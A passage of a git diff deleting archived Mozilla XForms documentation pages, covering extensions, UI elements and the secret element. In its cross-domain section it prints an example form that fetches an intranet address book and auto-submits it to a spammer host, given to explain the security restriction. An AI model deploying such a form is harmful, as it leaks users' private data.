-<pre>digest('abc', 'SHA-1') -</pre> -</div> - -<p>explicitly use the third parameter (the results are equal):</p> - -<pre>digest('abc', 'SHA-1', 'base64') -</pre> - -<p>(limitation tracked in {{ Bug(477857) }})</p> - -<h3 id="Extensions" name="Extensions">Extensions</h3> - -<h4 id="Enumerating_Instances" name="Enumerating_Instances">Enumerating Instances</h4> - -<p>The standardized <a href="/en/XPCOM_Interface_Reference/nsIXFormsModelElement" title="en/XPCOM_Interface_Reference/nsIXFormsModelElement">nsIXFormsModelElement</a> does not allow one to enumerate over all possible instances, but only to retrieve instances by their name. In the <em>Mozilla XForms Extension</em> we added a <code>getInstanceDocuments()</code> function to the <code>model</code> which returns all the model's instance documents. This is documented in <a href="/en/XPCOM_Interface_Reference/nsIXFormsNSModelElement" title="en/XPCOM_Interface_Reference/nsIXFormsNSModelElement">nsIXFormsNSModelElement</a>.</p> - -<h4 id="Getting_To_Instance_Element_From_A_Data_Node" name="Getting_To_Instance_Element_From_A_Data_Node">Getting To Instance Element From A Data Node</h4> - -<p>In the XForms 1.0 specification there is no way to get to the <code>instance</code> element from an instance data node. We have added a function via the <code>getFeature()</code> call on each node, that allows the form author to do that. That is, if <code>instanceNode</code> is a node in an instance document, then:</p> - -<pre>instanceNode.getFeature("org.mozilla.xforms.instanceOwner", "1.0") -</pre> - -<p>will return the <code><instance></code> element (in the main document) that the node belongs to.</p> - -<h4 id="Getting_To_The_Instance_Document_From_The_Instance_Element" name="Getting_To_The_Instance_Document_From_The_Instance_Element">Getting To The Instance Document From The Instance Element</h4> - -<p>In the XForms 1.0 specification you have to go through the <code>model</code> element to get to the instance document. It seems a bit awkward if you have the <code>instance</code> element, so we have added a <code>getInstanceDocument()</code> function directly on the <code>instance</code> element as a shortcut. This is documented in <a href="/en/XPCOM_Interface_Reference/nsIXFormsNSInstanceElement" title="en/XPCOM_Interface_Reference/nsIXFormsNSInstanceElement">nsIXFormsNSInstanceElement</a>.</p> - -<h4 id="Custom_Control_Interface" name="Custom_Control_Interface">Custom Control Interface</h4> - -<p>We have added a lot of functionality to our user interface, which allows the form authors to create <em>custom controls</em>. It involves exposing some (script) functionality on all our controls, like <code>output</code>, <code>input</code>, etc. and allowing the UI to be represented in <a href="/en/XBL" title="en/XBL">XBL</a>. More information can be found in <a href="/en/XForms/Custom_Controls" title="en/XForms/Custom_Controls">XForms:Custom Controls</a>.</p> - -<h4 id="labelposition">labelposition</h4> - -<p>For <code>xforms:input </code>elements bound to a boolean node we support an attribute <code>labelposition</code> in the namespace <code><a class="external" href="http://www.mozilla.org/projects/xforms/2009/extensions" rel="freelink">http://www.mozilla.org/projects/xfor...009/extensions</a></code>, which allows the form author to define on which side of the checkbox the label will be shown. For details, see the <a href="/en/XForms/User_Interface_Elements/Input" title="https://developer.mozilla.org/en/XForms/User_Interface_Elements/Input">input control documentation</a>.</p> - -<h3 id="Misc" name="Misc">Misc</h3> - -<h4 id="Cross_Domain_Submission" name="Cross_Domain_Submission">Cross Domain Submission</h4> - -<p>Not exactly either a limitation, or an extension, but it is worth mentioning here. For security reasons, it is not per default possible for an XForms to submit data to another domain. This is due to security reasons. Information about how to whitelist domain can be found in the <em>Release Notes</em></p> - -<p>The cross domain check also includes forms loaded from <code>file://</code>. Forms loaded from that URL should be local files, and thus trusted, but it is not always the case. So there is not automatic "whitelisting" of local files.</p> - -<p>If you are wondering why we have this restriction, here is a simple example of why:</p> - -<pre><xforms:model> - <xforms:instance src="http://intranetserver/addrbook.xml"/> - <xforms:submission id="sub" action="http://megaspammer.com/gather" - method="post"/> - <xforms:send submission="sub" ev:event="xforms-ready"/> -</xforms:model> -</pre> - -<p>This imaginary would fetch something that is only accessible for you (f.x. behind a firewall) <code><span class="nowiki">http://intranetserver/addrbook.xml</span></code>, and send it to <code><span class="nowiki">http://megaspammer.com/gather</span></code> as soon as you view the XForm.</p> diff --git a/files/ru/archive/web/xforms/user_interface_elements/index.html b/files/ru/archive/web/xforms/user_interface_elements/index.html deleted file mode 100644 index 8dd7fcdc8e..0000000000 --- a/files/ru/archive/web/xforms/user_interface_elements/index.html +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: Mozilla XForms User Interface -slug: Archive/Web/XForms/User_Interface_Elements -tags: - - NeedsTranslation - - TopicStub - - XForms -translation_of: Archive/Web/XForms/User_Interface_Elements ---- -<h3 id="Introduction">Introduction</h3> -<p>This article is a quick reference of the XForms user interface elements. Mainly this is aimed to document how XForms elements will be presented in Mozilla since the XForms specifications give only a hint of how controls might be rendered.</p> -<p>Currently XForms can be hosted by XHTML and XUL in Seamonkey and Firefox. Later we have plans to support XForms hosted by SVG. The XForms specs define two kinds of XForms UI elements, called 'Form Controls' and 'XForms User Interface'. Elements from the "Form Controls" group allows users to interact with instance data. The set of "XForms User Interface" elements exist to aid form authors in combining host language markup and XForms markup together in order to build user interfaces. Some of the 'Form Controls' can have multiple appearances and thus may be rendered in multiple ways. We use the data type of the instance node that the form control is bound to as a clue when making a rendering decision. The form author can also use the 'appearance' attribute on the form control to give us another clue. For example, a XForms input control may appear as a text field or as a datepicker depending on whether it is bound to a xsd:string type or a xsd:date type. When a xf:output binds to a node that has a type of xsd:date, we output the date value as plain text. An output bound to a date and also having @appearance='full' will display as a calendar.</p> -<p>This article uses several notations. If you see <small>Fx 3.0 only</small>, that means that the control will only be available for Firefox 3.0 (Gecko 1.9). There are several possible reasons for this restriction. The first is that the changes required for such controls could not be safely made to Firefox 1.5 or Firefox 2.0. The second is that the control is introduced in XForms 1.1 and we don't feel adding the enhancement would be prudent until the 1.1 spec is more stable. For instance, when the spec reaches 'recommendation'-level status. If you see <small>xhtml/xul</small> then it means the control is available when XForms is hosted in either XHTML or XUL. Similarly, if you see <small>xhtml only</small> or <small>xul only</small>, then it means the control is available only in that host language.</p> -<h3 id="Attribute_Sets" name="Attribute_Sets">Attribute Sets</h3> -<p>This section describes attributes that are often used on XForms elements. These attributes are combined into following logical groups.</p> -<h4 id="UI_Common" name="UI_Common">UI Common</h4> -<p>The UI Common attribute set (see the <a class="external" href="http://www.w3.org/TR/xforms/#attrs-ui-common">spec</a>) contains the attributes that are available for the XForms elements that are used to build the user interface presentation in a form.</p> -<ul> - <li>appearance - the value provided by the form author gives a hint to the processor as to which widget to use to represent the XForms control. Three possible values are available to the author: minimal, compact and full. Generally speaking, the main purpose for these values is to reflect how much space (screen real estate) the displayed widget will take.</li> - <li>tabindex - defines the keyboard navigation sequence between controls.</li> - <li>accesskey - keyboard shortcut for moving focus to an XForms element.</li> -</ul> -<h4 id="Binding_attributes" name="Binding_attributes">Binding attributes</h4> -<p>Single-Node (see the <a class="external" href="http://www.w3.org/TR/xforms/#structure-attrs-single-node">spec</a>) and Node-Set (see the <a class="external" href="http://www.w3.org/TR/xforms/#structure-attrs-nodeset">spec</a>) attributes are used to bind XForms elements to instance nodes. These attributes are: ref, nodeset, model and bind.</p> -<h3 id="XForms_Elements" name="XForms_Elements">XForms Elements</h3> -<p>Almost every XForms element can be presented as one of serveral different kinds of widgets. This section contains a short description of each XForms element and its representation. The XForms specification offers suggestions for some of the representations, but some of the widgets we use are only available in the Mozilla XForms processor. The choice of widget that we use is often determined by the data type of the instance node that the xforms element is bound to. The form author can also influence the widget by using the appearance attribute on the element.</p> -<h4 id="Form_Controls_Module" name="Form_Controls_Module">Form Controls Module</h4> -<p>This section contains a short description for each form control element.</p> -<h5 id="input" name="input"><a href="/en-US/docs/XForms/User_Interface_Elements/Input">input</a></h5> -<p>A key xforms element to show and change the instance data to which it is bound. Usually bound to data that can be well-represented by a string (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-input">spec</a>). It can have the following representations:</p> -<ul> - <li>text field - default representation. Used for most data types, especially text data.</li> - <li>checkbox - used for boolean instance data</li> - <li>datepicker - default representation for date data types. Similar to a combobox. Consists of a text field for direct input and a dropdown calendar that can also be used to input the date value.</li> - <li>calendar - used for date data types when appearance = 'full'.</li> - <li>days list - used when the data has a data type of day.</li> - <li>months list - used when the data has a data type of month.</li> - <li>number field - used for numerical data types.</li> -</ul> -<h5 id="secret" name="secret"><a href="/en-US/docs/XForms/User_Interface_Elements/Secret">secret</a></h5> -<p>Used for inputting passwords. Each character typed by the user is represented by an asterisk on the screen (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-secret">spec</a>).</p> -<h5 id="textarea" name="textarea"><a href="/en-US/XForms/User_Interface_Elements/Textarea">textarea</a></h5> -<p>Serves to show/change multiline text (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-textarea">spec</a>).</p> -<h5 id="output" name="output"><a href="/en-US/XForms/User_Interface_Elements/Output">output</a></h5> -<p>Serves to show the instance data that the element is bound to in a read-only manner (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-output">spec</a>). It can have the following presentations:</p> -<ul> - <li>text - default representation for data of most types, especially static text.</li> - <li>calendar - used for date data types when appearance = 'full'.</li> - <li>image - if the instance node contains an image, then an output element can be used in combination with the mediatype element to display the image.</li> -</ul> -<h5 id="upload" name="upload"><a href="/en-US/XForms/User_Interface_Elements/Upload">upload</a></h5> -<p>Provides a means for the user to select a file (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-upload">spec</a>).</p> -<h5 id="range" name="range"><a href="/en-US/XForms/User_Interface_Elements/Range">range</a></h5> -<p>Allows the user to choose a value from within a specific range of values. It is represented by a slider widget (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-range">spec</a>).</p> -<h5 id="trigger" name="trigger"><a href="/en-US/XForms/User_Interface_Elements/Trigger">trigger</a></h5> -<p>Allows the user to initiate actions (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-trigger">spec</a>). It can have the following representations:</p> -<ul> - <li>button - default representation.</li> - <li>link/clickable text - used when appearance = 'minimal'.</li> -</ul> -<h5 id="submit" name="submit"><a href="/en-US/XForms/User_Interface_Elements/Submit">submit</a></h5> -<p>Invokes the submission of the selected instance data to its target destination, which could be local or remote (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-submit">spec</a>). It can have the following representations:</p> -<ul> - <li>button - default representation.</li> - <li>link/clickable text - used when appearance = 'minimal'.</li> -</ul> -<h5 id="select" name="select"><a href="/en-US/XForms/User_Interface_Elements/select">select</a></h5> -<p>List control. Allows the user to choose one or multiple values from a list of pre-defined values (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-selectMany">spec</a>). It can have the following representations:</p> -<ul> - <li>listbox - default representation</li> - <li>checkbox group - used when appearance = 'full'</li> -</ul> -<h5 id="select1" name="select1"><a href="/en-US/XForms/User_Interface_Elements/Select1">select1</a></h5> -<p>Combobox control. Allows the user to choose a single value from a list of pre-defined values (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-selectOne">spec</a>). It can have the following representations:</p> -<ul> - <li>combobox - default representation</li> - <li>listbox - used when appearance = 'compact'</li> - <li>radio group - used when appearance = 'full'</li> -</ul> -<h4 id="Additional_Elements" name="Additional_Elements">Additional Elements</h4> -<p>These elements may be used as child elements to the form controls described above.</p> -<h5 id="label" name="label"><a href="/en-US/XForms/User_Interface_Elements/Label">label</a></h5> -<p>Specifies the label for the xforms control (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-commonelems-label">spec</a>). Every form control other than the output element must contain a label element. It is valid for a form control to have an empty label element.</p> -<h5 id="help" name="help"><a href="/en-US/XForms/User_Interface_Elements/Help">help</a></h5> -<p>Specifies contextual help for the containing form control (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-commonelems-help">spec</a>). The help will be displayed if the F1 key is pressed while the containing form control has focus.</p> -<h5 id="hint" name="hint"><a href="/en-US/XForms/User_Interface_Elements/Hint">hint</a></h5> -<p>Similar to a tooltip (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-commonelems-hint">spec</a>). The hint is displayed when the mouse moves and pauses over the containing form control.</p> -<h5 id="alert" name="alert"><a href="/en-US/XForms/User_Interface_Elements/Alert">alert</a></h5> -<p>This message will be shown when the form control cannot properly bind to instance data or when the instance data value is invalid or out of the specified range of selectable values (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-common-elements-alert">spec</a>).</p> -<h5 id="message" name="message"><a href="/en-US/XForms/User_Interface_Elements/Message">message</a></h5> -<p>Used in combination with event listeners to display a message to the user when the specified event occurs (see the <a class="external" href="http://www.w3.org/TR/xforms/#action-info">spec</a>).</p> -<h4 id="XForms_User_Interface" name="XForms_User_Interface">XForms User Interface</h4> -<p>These elements are mainly used to organize and manage the form's markup.</p> -<p>They can be bound to instance nodes to define context for the xforms controls that they contain, should any of their child nodes happen to use relative xpath expressions. Binding these elements to instance data is also a way to apply Model Item Properties (for example, relevancy) to the elements.</p> -<p>Elements in this section do not have any behaviors that are dependent on the host language.</p> -<h5 id="group" name="group"><a href="/en-US/XForms/User_Interface_Elements/Group">group</a></h5> -<p>This element is used to logically group xforms elements together (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-group">spec</a>).</p> -<h5 id="switch" name="switch"><a href="/en-US/XForms/User_Interface_Elements/Switch">switch</a></h5> -<p>This element is used in conjunction with <code>case</code> and <code>toggle</code> elements (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-conditional">spec</a>). The <code>switch</code> element contains <code>case</code> elements which in turn contain markup. Only the contents of a single case may be displayed at one time. The <code>toggle</code> element is used (as an event handler) to make a <code>case</code> visible and thereby hiding all other <code>case</code> elements contained by the same <code>switch</code>.</p> -<h5 id="repeat" name="repeat"><a href="/en-US/XForms/User_Interface_Elements/Repeat">repeat</a></h5> -<p>A repeat element contains markup and is itself bound to a nodeset in an instance document (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-repeat">spec</a>). For each node in the nodeset, the contents of the repeat element will be displayed in the form. That node will serve as the context node for any relative xpath expressions in that set of repeated markup. For example, if a repeat is bound to a nodeset that contains 5 nodes and the repeat contains an <code>output</code> element that echoes the current node, then the user will see 5 outputs in the form. Combined together, these outputs would echo the value of every node in the selected nodeset.</p> diff --git a/files/ru/archive/web/xforms/user_interface_elements/secret/index.html b/files/ru/archive/web/xforms/user_interface_elements/secret/index.html deleted file mode 100644 index bcf82e040f..0000000000 --- a/files/ru/archive/web/xforms/user_interface_elements/secret/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: XForms Secret Element -slug: Archive/Web/XForms/User_Interface_Elements/Secret -translation_of: Archive/Web/XForms/User_Interface_Elements/Secret ---- -<p> </p> -<h3 id="Introduction" name="Introduction"> Introduction </h3> -<p>Used for inputting passwords or other sensitive text. Each character typed by the user is represented by an asterisk on the screen (see the <a class="external" href="http://www.w3.org/TR/xforms/#ui-secret">spec</a>). -</p> -<h3 id="Attributes" name="Attributes"> Attributes </h3> -<ul><li> UI Common -<ul><li> appearance - isn't supported. -</li><li> accesskey - used to specify the keyboard shortcut for focusing this control. -</li></ul> -</li><li> Single-Node Binding -</li><li> Special -<ul><li> inputmode - isn't supported. -</li><li> incremental - supported. The default value is <code>false</code>. -</li></ul> -</li></ul> -<p><br> -</p> -<h3 id="Type_restrictions" name="Type_restrictions"> Type restrictions </h3> -<p>The <code>secret</code> element can be bound to a node containing simple content of any data type except <code>xsd:base64Binary</code>, <code>xsd:hexBinray</code> or any data type derived from these. -</p> -<h3 id="Representations" name="Representations"> Representations </h3> -<p>The XForms <code>secret</code> element is represented by a password field. The password field is a text field, the value of which is hidden by asterisks <small>(xhtml/xul)</small>. -</p><p>Characteristics -</p> -<ul><li> analogous widgets are <xhtml:input type="password"/> and <xul:textbox type="password"/> -</li><li> if the <code>incremental</code> attribute is present and has the value <code>true</code>, then the bound instance node is updated on every user input. Please keep in mind that the instance data will hold exactly what the user gave as input. Any other XForm control bound to that data will show that data 'as is'. -</li></ul> |